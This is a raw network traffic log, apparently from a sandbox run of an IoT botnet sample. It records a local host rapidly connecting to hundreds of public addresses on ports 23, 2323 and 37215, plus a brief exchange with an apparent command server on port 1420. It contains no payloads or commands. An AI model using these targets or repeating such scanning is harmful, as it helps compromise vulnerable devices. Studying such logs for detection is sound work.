Nov 3, 2024 15:33:06.332963943 CET	48602	37215	192.168.2.14	41.166.104.120
Nov 3, 2024 15:33:06.332964897 CET	44876	37215	192.168.2.14	156.133.111.128
Nov 3, 2024 15:33:06.332964897 CET	37622	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.332964897 CET	50922	37215	192.168.2.14	156.207.157.252
Nov 3, 2024 15:33:06.332964897 CET	42506	37215	192.168.2.14	197.119.54.124
Nov 3, 2024 15:33:06.332973003 CET	41776	37215	192.168.2.14	41.39.13.206
Nov 3, 2024 15:33:06.332973003 CET	43328	37215	192.168.2.14	156.45.220.1
Nov 3, 2024 15:33:06.332973003 CET	44730	37215	192.168.2.14	41.22.53.118
Nov 3, 2024 15:33:06.332973957 CET	39398	37215	192.168.2.14	41.96.22.119
Nov 3, 2024 15:33:06.332973003 CET	44614	37215	192.168.2.14	197.145.255.210
Nov 3, 2024 15:33:06.332973957 CET	43718	37215	192.168.2.14	156.168.50.185
Nov 3, 2024 15:33:06.332979918 CET	42318	37215	192.168.2.14	156.157.48.250
Nov 3, 2024 15:33:06.332982063 CET	37622	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.332983017 CET	38276	37215	192.168.2.14	156.60.157.78
Nov 3, 2024 15:33:06.332983017 CET	33994	37215	192.168.2.14	41.176.158.71
Nov 3, 2024 15:33:06.332984924 CET	47486	37215	192.168.2.14	156.197.175.23
Nov 3, 2024 15:33:06.333000898 CET	48792	37215	192.168.2.14	197.134.195.220
Nov 3, 2024 15:33:06.333350897 CET	37624	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.337877035 CET	23	36524	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.337924957 CET	36524	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.337961912 CET	23	37622	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:06.343286037 CET	23	36524	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.343362093 CET	36524	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.343686104 CET	36720	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.348232031 CET	23	36524	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.348850965 CET	23	36720	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.348897934 CET	36720	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.354147911 CET	23	36720	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.354218960 CET	36720	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.354552031 CET	36722	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.359566927 CET	23	36720	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.359877110 CET	23	36722	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.359976053 CET	36722	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.365124941 CET	23	36722	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.365221024 CET	36722	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.365520000 CET	36724	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.370048046 CET	23	36722	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.370299101 CET	23	36724	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.370389938 CET	36724	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.375545979 CET	23	36724	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.375633001 CET	36724	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.375933886 CET	36726	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.380490065 CET	23	36724	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.380808115 CET	23	36726	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.380856037 CET	36726	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.385951996 CET	23	36726	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.386029959 CET	36726	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.386373043 CET	36728	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.390772104 CET	23	36726	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.391134977 CET	23	36728	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.391181946 CET	36728	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.396449089 CET	23	36728	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.396514893 CET	36728	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.396833897 CET	36730	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.401479006 CET	23	36728	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.401758909 CET	23	36730	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.401806116 CET	36730	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.406837940 CET	23	36730	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.406915903 CET	36730	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.407227039 CET	36732	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.411858082 CET	23	36730	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.412130117 CET	23	36732	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.412220955 CET	36732	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.417393923 CET	23	36732	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.417484999 CET	36732	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.417805910 CET	36734	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.422354937 CET	23	36732	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.422646046 CET	23	36734	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.422691107 CET	36734	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.428318977 CET	23	36734	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.428431988 CET	36734	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.428765059 CET	36736	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.433257103 CET	23	36734	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.433531046 CET	23	36736	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.433578014 CET	36736	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.438628912 CET	23	36736	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.438705921 CET	36736	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.439034939 CET	36738	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.443614960 CET	23	36736	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.443814039 CET	23	36738	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.443861961 CET	36738	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.448900938 CET	23	36738	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.448978901 CET	36738	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.449306965 CET	36740	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.453773975 CET	23	36738	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.454047918 CET	23	36740	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:06.454094887 CET	36740	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.866662025 CET	37215	53232	41.71.163.79	192.168.2.14
Nov 3, 2024 15:33:06.866789103 CET	53232	37215	192.168.2.14	41.71.163.79
Nov 3, 2024 15:33:07.009733915 CET	34024	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:07.014489889 CET	1420	34024	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:07.014563084 CET	34024	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:07.015302896 CET	34024	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:07.019651890 CET	1420	34024	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:07.019718885 CET	34024	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:07.020076990 CET	1420	34024	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:07.024893999 CET	1420	34024	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:07.132956982 CET	52644	37215	192.168.2.14	156.115.237.200
Nov 3, 2024 15:33:07.132958889 CET	43018	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:07.132960081 CET	48830	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:07.132958889 CET	44682	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:07.132968903 CET	43156	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:07.132968903 CET	55160	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:07.132973909 CET	40918	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:07.132973909 CET	59280	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:07.132973909 CET	57854	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:07.132973909 CET	47250	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:07.132977962 CET	37910	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:07.132978916 CET	56152	37215	192.168.2.14	156.33.212.75
Nov 3, 2024 15:33:07.132986069 CET	54856	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:07.132986069 CET	53326	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:07.132987022 CET	40860	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:07.132993937 CET	34620	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:07.132996082 CET	45136	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:07.132996082 CET	33358	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:07.132997036 CET	58070	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.132997036 CET	45458	37215	192.168.2.14	197.243.86.185
Nov 3, 2024 15:33:07.132997036 CET	45256	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:07.132997036 CET	37060	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:07.132997036 CET	40430	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:07.132997036 CET	34774	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:07.138618946 CET	23	43018	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:07.138631105 CET	23	48830	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:07.138639927 CET	37215	52644	156.115.237.200	192.168.2.14
Nov 3, 2024 15:33:07.138649940 CET	23	44682	54.33.199.213	192.168.2.14
Nov 3, 2024 15:33:07.138665915 CET	23	43156	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:07.138669014 CET	43018	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:07.138679981 CET	37215	55160	197.91.194.211	192.168.2.14
Nov 3, 2024 15:33:07.138681889 CET	48830	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:07.138691902 CET	52644	37215	192.168.2.14	156.115.237.200
Nov 3, 2024 15:33:07.138695955 CET	23	40918	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:07.138698101 CET	44682	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:07.138700008 CET	43156	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:07.138708115 CET	37215	59280	156.191.169.252	192.168.2.14
Nov 3, 2024 15:33:07.138716936 CET	55160	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:07.138720989 CET	23	57854	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:07.138726950 CET	40918	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:07.138731956 CET	37215	37910	41.77.71.178	192.168.2.14
Nov 3, 2024 15:33:07.138741970 CET	59280	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:07.138753891 CET	57854	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:07.138755083 CET	37215	56152	156.33.212.75	192.168.2.14
Nov 3, 2024 15:33:07.138761044 CET	37215	47250	197.41.117.125	192.168.2.14
Nov 3, 2024 15:33:07.138770103 CET	23	34620	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:07.138781071 CET	23	54856	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:07.138787985 CET	37910	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:07.138793945 CET	47250	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:07.138793945 CET	23	33358	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:07.138797045 CET	56152	37215	192.168.2.14	156.33.212.75
Nov 3, 2024 15:33:07.138803959 CET	34620	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:07.138808012 CET	23	45136	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:07.138813972 CET	54856	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:07.138823032 CET	23	53326	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:07.138827085 CET	33358	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:07.138834953 CET	37215	40860	197.103.118.254	192.168.2.14
Nov 3, 2024 15:33:07.138838053 CET	45136	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:07.138839960 CET	52644	37215	192.168.2.14	156.115.237.200
Nov 3, 2024 15:33:07.138845921 CET	23	58070	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.138859034 CET	53326	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:07.138859034 CET	40860	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:07.138859034 CET	37215	45458	197.243.86.185	192.168.2.14
Nov 3, 2024 15:33:07.138871908 CET	23	45256	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:07.138875008 CET	55160	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:07.138875008 CET	58070	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.138885021 CET	2323	37060	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:07.138889074 CET	45458	37215	192.168.2.14	197.243.86.185
Nov 3, 2024 15:33:07.138896942 CET	23	40430	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:07.138906002 CET	45256	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:07.138911009 CET	4833	2323	192.168.2.14	110.93.45.196
Nov 3, 2024 15:33:07.138912916 CET	4847	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:07.138923883 CET	37060	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:07.138926983 CET	4847	37215	192.168.2.14	197.202.62.10
Nov 3, 2024 15:33:07.138928890 CET	4833	23	192.168.2.14	73.126.226.202
Nov 3, 2024 15:33:07.138937950 CET	4833	23	192.168.2.14	173.81.55.104
Nov 3, 2024 15:33:07.138937950 CET	4833	23	192.168.2.14	57.201.123.143
Nov 3, 2024 15:33:07.138937950 CET	4847	37215	192.168.2.14	197.83.253.179
Nov 3, 2024 15:33:07.138945103 CET	4833	23	192.168.2.14	27.185.131.88
Nov 3, 2024 15:33:07.138945103 CET	4833	23	192.168.2.14	103.216.30.154
Nov 3, 2024 15:33:07.138945103 CET	4847	37215	192.168.2.14	197.71.251.4
Nov 3, 2024 15:33:07.138948917 CET	4833	23	192.168.2.14	204.210.129.200
Nov 3, 2024 15:33:07.138952017 CET	40430	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:07.138957977 CET	4833	23	192.168.2.14	19.212.29.173
Nov 3, 2024 15:33:07.138958931 CET	4847	37215	192.168.2.14	197.156.145.224
Nov 3, 2024 15:33:07.138964891 CET	4833	23	192.168.2.14	120.208.189.174
Nov 3, 2024 15:33:07.138964891 CET	4847	37215	192.168.2.14	156.78.176.195
Nov 3, 2024 15:33:07.138972998 CET	4847	37215	192.168.2.14	41.251.35.62
Nov 3, 2024 15:33:07.138973951 CET	4847	37215	192.168.2.14	41.127.57.2
Nov 3, 2024 15:33:07.138976097 CET	4847	37215	192.168.2.14	41.30.36.150
Nov 3, 2024 15:33:07.138976097 CET	4847	37215	192.168.2.14	41.0.156.243
Nov 3, 2024 15:33:07.138976097 CET	4847	37215	192.168.2.14	41.110.152.122
Nov 3, 2024 15:33:07.138984919 CET	4847	37215	192.168.2.14	156.231.15.248
Nov 3, 2024 15:33:07.138984919 CET	4847	37215	192.168.2.14	156.121.81.82
Nov 3, 2024 15:33:07.138988972 CET	4847	37215	192.168.2.14	41.94.83.32
Nov 3, 2024 15:33:07.138988972 CET	4847	37215	192.168.2.14	41.85.178.26
Nov 3, 2024 15:33:07.138988972 CET	4847	37215	192.168.2.14	197.123.181.186
Nov 3, 2024 15:33:07.138991117 CET	4847	37215	192.168.2.14	156.74.90.42
Nov 3, 2024 15:33:07.139005899 CET	4847	37215	192.168.2.14	197.170.29.185
Nov 3, 2024 15:33:07.139007092 CET	4847	37215	192.168.2.14	197.70.188.139
Nov 3, 2024 15:33:07.139007092 CET	4847	37215	192.168.2.14	197.254.53.16
Nov 3, 2024 15:33:07.139008999 CET	4847	37215	192.168.2.14	41.194.49.85
Nov 3, 2024 15:33:07.139008999 CET	4847	37215	192.168.2.14	156.196.195.67
Nov 3, 2024 15:33:07.139012098 CET	4847	37215	192.168.2.14	156.198.181.96
Nov 3, 2024 15:33:07.139012098 CET	4833	23	192.168.2.14	102.120.238.131
Nov 3, 2024 15:33:07.139012098 CET	4847	37215	192.168.2.14	156.76.135.96
Nov 3, 2024 15:33:07.139012098 CET	4847	37215	192.168.2.14	41.31.2.200
Nov 3, 2024 15:33:07.139013052 CET	4847	37215	192.168.2.14	41.202.1.65
Nov 3, 2024 15:33:07.139012098 CET	4833	23	192.168.2.14	83.252.104.48
Nov 3, 2024 15:33:07.139013052 CET	4833	23	192.168.2.14	213.171.68.163
Nov 3, 2024 15:33:07.139023066 CET	4833	23	192.168.2.14	184.228.44.72
Nov 3, 2024 15:33:07.139023066 CET	4833	23	192.168.2.14	92.60.148.55
Nov 3, 2024 15:33:07.139023066 CET	4833	23	192.168.2.14	141.172.117.171
Nov 3, 2024 15:33:07.139034986 CET	4833	2323	192.168.2.14	58.9.125.249
Nov 3, 2024 15:33:07.139035940 CET	37215	34774	156.214.246.139	192.168.2.14
Nov 3, 2024 15:33:07.139035940 CET	4833	23	192.168.2.14	210.218.99.35
Nov 3, 2024 15:33:07.139035940 CET	4847	37215	192.168.2.14	41.129.142.63
Nov 3, 2024 15:33:07.139038086 CET	4833	23	192.168.2.14	45.207.212.43
Nov 3, 2024 15:33:07.139035940 CET	4833	23	192.168.2.14	183.84.75.90
Nov 3, 2024 15:33:07.139036894 CET	4833	23	192.168.2.14	135.69.162.157
Nov 3, 2024 15:33:07.139038086 CET	4847	37215	192.168.2.14	197.55.82.44
Nov 3, 2024 15:33:07.139036894 CET	4833	23	192.168.2.14	176.92.86.112
Nov 3, 2024 15:33:07.139036894 CET	4847	37215	192.168.2.14	41.136.149.250
Nov 3, 2024 15:33:07.139039993 CET	4847	37215	192.168.2.14	156.94.201.149
Nov 3, 2024 15:33:07.139036894 CET	4847	37215	192.168.2.14	156.36.219.158
Nov 3, 2024 15:33:07.139045954 CET	4847	37215	192.168.2.14	41.101.83.49
Nov 3, 2024 15:33:07.139045954 CET	4847	37215	192.168.2.14	41.167.75.210
Nov 3, 2024 15:33:07.139060020 CET	4847	37215	192.168.2.14	156.244.150.118
Nov 3, 2024 15:33:07.139060020 CET	4847	37215	192.168.2.14	197.43.56.94
Nov 3, 2024 15:33:07.139060020 CET	4833	2323	192.168.2.14	101.150.157.216
Nov 3, 2024 15:33:07.139060020 CET	4833	23	192.168.2.14	204.3.155.19
Nov 3, 2024 15:33:07.139060020 CET	4833	23	192.168.2.14	87.164.184.81
Nov 3, 2024 15:33:07.139061928 CET	4833	23	192.168.2.14	113.186.236.205
Nov 3, 2024 15:33:07.139060020 CET	4847	37215	192.168.2.14	41.130.44.161
Nov 3, 2024 15:33:07.139061928 CET	4833	23	192.168.2.14	68.112.128.177
Nov 3, 2024 15:33:07.139060020 CET	4847	37215	192.168.2.14	41.156.135.73
Nov 3, 2024 15:33:07.139060020 CET	4847	37215	192.168.2.14	41.49.50.54
Nov 3, 2024 15:33:07.139065981 CET	4833	23	192.168.2.14	113.198.203.96
Nov 3, 2024 15:33:07.139066935 CET	4833	23	192.168.2.14	201.60.36.85
Nov 3, 2024 15:33:07.139066935 CET	4833	23	192.168.2.14	102.88.176.13
Nov 3, 2024 15:33:07.139065981 CET	4847	37215	192.168.2.14	197.49.59.54
Nov 3, 2024 15:33:07.139066935 CET	4833	2323	192.168.2.14	206.125.149.123
Nov 3, 2024 15:33:07.139065981 CET	4847	37215	192.168.2.14	156.248.99.148
Nov 3, 2024 15:33:07.139066935 CET	4833	23	192.168.2.14	68.230.36.250
Nov 3, 2024 15:33:07.139066935 CET	4847	37215	192.168.2.14	41.115.84.73
Nov 3, 2024 15:33:07.139077902 CET	4847	37215	192.168.2.14	156.8.53.233
Nov 3, 2024 15:33:07.139077902 CET	4847	37215	192.168.2.14	156.77.134.185
Nov 3, 2024 15:33:07.139095068 CET	4847	37215	192.168.2.14	41.137.108.113
Nov 3, 2024 15:33:07.139096022 CET	4833	23	192.168.2.14	14.186.175.139
Nov 3, 2024 15:33:07.139096022 CET	4833	23	192.168.2.14	87.58.56.195
Nov 3, 2024 15:33:07.139096022 CET	4847	37215	192.168.2.14	197.103.109.61
Nov 3, 2024 15:33:07.139097929 CET	4847	37215	192.168.2.14	156.98.161.251
Nov 3, 2024 15:33:07.139096022 CET	4847	37215	192.168.2.14	41.104.85.135
Nov 3, 2024 15:33:07.139097929 CET	4847	37215	192.168.2.14	41.232.228.42
Nov 3, 2024 15:33:07.139096022 CET	4847	37215	192.168.2.14	41.186.130.132
Nov 3, 2024 15:33:07.139098883 CET	4833	23	192.168.2.14	86.66.164.37
Nov 3, 2024 15:33:07.139097929 CET	4847	37215	192.168.2.14	197.50.240.158
Nov 3, 2024 15:33:07.139096022 CET	4847	37215	192.168.2.14	41.26.225.207
Nov 3, 2024 15:33:07.139096022 CET	4847	37215	192.168.2.14	41.25.255.147
Nov 3, 2024 15:33:07.139096975 CET	4847	37215	192.168.2.14	41.209.144.75
Nov 3, 2024 15:33:07.139098883 CET	4833	23	192.168.2.14	88.64.145.228
Nov 3, 2024 15:33:07.139096975 CET	4847	37215	192.168.2.14	41.103.66.27
Nov 3, 2024 15:33:07.139098883 CET	4847	37215	192.168.2.14	41.12.187.233
Nov 3, 2024 15:33:07.139096975 CET	34774	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:07.139131069 CET	4833	23	192.168.2.14	190.167.6.147
Nov 3, 2024 15:33:07.139131069 CET	4833	23	192.168.2.14	159.143.205.169
Nov 3, 2024 15:33:07.139131069 CET	4833	23	192.168.2.14	117.10.187.72
Nov 3, 2024 15:33:07.139132977 CET	4847	37215	192.168.2.14	41.180.170.231
Nov 3, 2024 15:33:07.139133930 CET	4847	37215	192.168.2.14	41.231.205.112
Nov 3, 2024 15:33:07.139133930 CET	4833	23	192.168.2.14	75.246.130.107
Nov 3, 2024 15:33:07.139133930 CET	4847	37215	192.168.2.14	197.152.148.154
Nov 3, 2024 15:33:07.139133930 CET	4847	37215	192.168.2.14	197.47.65.200
Nov 3, 2024 15:33:07.139133930 CET	4847	37215	192.168.2.14	41.20.11.49
Nov 3, 2024 15:33:07.139137030 CET	4833	23	192.168.2.14	177.223.13.0
Nov 3, 2024 15:33:07.139137030 CET	4847	37215	192.168.2.14	41.184.149.97
Nov 3, 2024 15:33:07.139137030 CET	4833	23	192.168.2.14	183.215.77.134
Nov 3, 2024 15:33:07.139137030 CET	4847	37215	192.168.2.14	41.235.170.69
Nov 3, 2024 15:33:07.139137030 CET	4847	37215	192.168.2.14	41.255.147.58
Nov 3, 2024 15:33:07.139139891 CET	4847	37215	192.168.2.14	156.251.142.64
Nov 3, 2024 15:33:07.139139891 CET	4847	37215	192.168.2.14	41.207.142.214
Nov 3, 2024 15:33:07.139139891 CET	4833	23	192.168.2.14	74.217.74.118
Nov 3, 2024 15:33:07.139139891 CET	4847	37215	192.168.2.14	156.112.50.40
Nov 3, 2024 15:33:07.139143944 CET	4847	37215	192.168.2.14	41.173.40.84
Nov 3, 2024 15:33:07.139148951 CET	4847	37215	192.168.2.14	156.101.5.149
Nov 3, 2024 15:33:07.139148951 CET	4847	37215	192.168.2.14	41.85.17.15
Nov 3, 2024 15:33:07.139148951 CET	4847	37215	192.168.2.14	156.181.132.2
Nov 3, 2024 15:33:07.139148951 CET	4847	37215	192.168.2.14	156.230.134.72
Nov 3, 2024 15:33:07.139148951 CET	4847	37215	192.168.2.14	156.182.130.214
Nov 3, 2024 15:33:07.139148951 CET	4847	37215	192.168.2.14	156.80.204.173
Nov 3, 2024 15:33:07.139180899 CET	4833	23	192.168.2.14	17.143.161.213
Nov 3, 2024 15:33:07.139180899 CET	4833	23	192.168.2.14	208.124.238.8
Nov 3, 2024 15:33:07.139183044 CET	4847	37215	192.168.2.14	197.149.64.219
Nov 3, 2024 15:33:07.139183044 CET	4847	37215	192.168.2.14	41.247.67.48
Nov 3, 2024 15:33:07.139183044 CET	4847	37215	192.168.2.14	41.42.164.109
Nov 3, 2024 15:33:07.139184952 CET	4833	2323	192.168.2.14	153.6.120.113
Nov 3, 2024 15:33:07.139184952 CET	4847	37215	192.168.2.14	197.12.243.45
Nov 3, 2024 15:33:07.139185905 CET	4847	37215	192.168.2.14	156.54.204.250
Nov 3, 2024 15:33:07.139187098 CET	4847	37215	192.168.2.14	197.24.121.84
Nov 3, 2024 15:33:07.139185905 CET	4847	37215	192.168.2.14	197.207.120.11
Nov 3, 2024 15:33:07.139189005 CET	4833	23	192.168.2.14	156.119.64.216
Nov 3, 2024 15:33:07.139187098 CET	4847	37215	192.168.2.14	41.84.58.40
Nov 3, 2024 15:33:07.139185905 CET	4847	37215	192.168.2.14	41.118.255.160
Nov 3, 2024 15:33:07.139190912 CET	4847	37215	192.168.2.14	41.80.107.195
Nov 3, 2024 15:33:07.139187098 CET	4833	23	192.168.2.14	112.183.78.249
Nov 3, 2024 15:33:07.139184952 CET	4833	23	192.168.2.14	121.184.202.49
Nov 3, 2024 15:33:07.139187098 CET	4833	23	192.168.2.14	98.124.147.73
Nov 3, 2024 15:33:07.139184952 CET	4833	2323	192.168.2.14	189.147.193.99
Nov 3, 2024 15:33:07.139187098 CET	4847	37215	192.168.2.14	197.112.187.138
Nov 3, 2024 15:33:07.139190912 CET	4847	37215	192.168.2.14	197.61.206.45
Nov 3, 2024 15:33:07.139184952 CET	4833	23	192.168.2.14	92.99.130.55
Nov 3, 2024 15:33:07.139190912 CET	4847	37215	192.168.2.14	156.130.94.142
Nov 3, 2024 15:33:07.139187098 CET	4847	37215	192.168.2.14	41.162.5.154
Nov 3, 2024 15:33:07.139190912 CET	4847	37215	192.168.2.14	156.73.14.144
Nov 3, 2024 15:33:07.139190912 CET	4847	37215	192.168.2.14	41.58.32.23
Nov 3, 2024 15:33:07.139190912 CET	4833	23	192.168.2.14	62.172.146.117
Nov 3, 2024 15:33:07.139190912 CET	4847	37215	192.168.2.14	41.127.22.205
Nov 3, 2024 15:33:07.139190912 CET	4847	37215	192.168.2.14	197.21.82.73
Nov 3, 2024 15:33:07.139210939 CET	4847	37215	192.168.2.14	197.163.119.132
Nov 3, 2024 15:33:07.139210939 CET	4847	37215	192.168.2.14	41.171.242.40
Nov 3, 2024 15:33:07.139210939 CET	4847	37215	192.168.2.14	197.85.154.0
Nov 3, 2024 15:33:07.139210939 CET	4833	23	192.168.2.14	200.246.95.124
Nov 3, 2024 15:33:07.139219046 CET	4847	37215	192.168.2.14	156.135.242.132
Nov 3, 2024 15:33:07.139220953 CET	4847	37215	192.168.2.14	156.93.84.11
Nov 3, 2024 15:33:07.139220953 CET	4847	37215	192.168.2.14	41.21.31.76
Nov 3, 2024 15:33:07.139220953 CET	4847	37215	192.168.2.14	41.103.27.47
Nov 3, 2024 15:33:07.139220953 CET	4847	37215	192.168.2.14	41.254.82.147
Nov 3, 2024 15:33:07.139220953 CET	4847	37215	192.168.2.14	197.6.115.2
Nov 3, 2024 15:33:07.139225960 CET	4847	37215	192.168.2.14	197.78.158.67
Nov 3, 2024 15:33:07.139225960 CET	4833	23	192.168.2.14	182.192.24.128
Nov 3, 2024 15:33:07.139226913 CET	4833	23	192.168.2.14	219.20.138.131
Nov 3, 2024 15:33:07.139226913 CET	4847	37215	192.168.2.14	197.174.123.144
Nov 3, 2024 15:33:07.139226913 CET	4833	23	192.168.2.14	39.117.89.227
Nov 3, 2024 15:33:07.139226913 CET	4847	37215	192.168.2.14	156.138.165.188
Nov 3, 2024 15:33:07.139226913 CET	4847	37215	192.168.2.14	197.88.91.133
Nov 3, 2024 15:33:07.139226913 CET	4847	37215	192.168.2.14	41.186.147.39
Nov 3, 2024 15:33:07.139226913 CET	4847	37215	192.168.2.14	41.49.15.255
Nov 3, 2024 15:33:07.139226913 CET	4847	37215	192.168.2.14	156.53.16.54
Nov 3, 2024 15:33:07.139229059 CET	4847	37215	192.168.2.14	197.122.180.222
Nov 3, 2024 15:33:07.139229059 CET	4833	23	192.168.2.14	204.37.248.231
Nov 3, 2024 15:33:07.139229059 CET	4847	37215	192.168.2.14	41.222.70.191
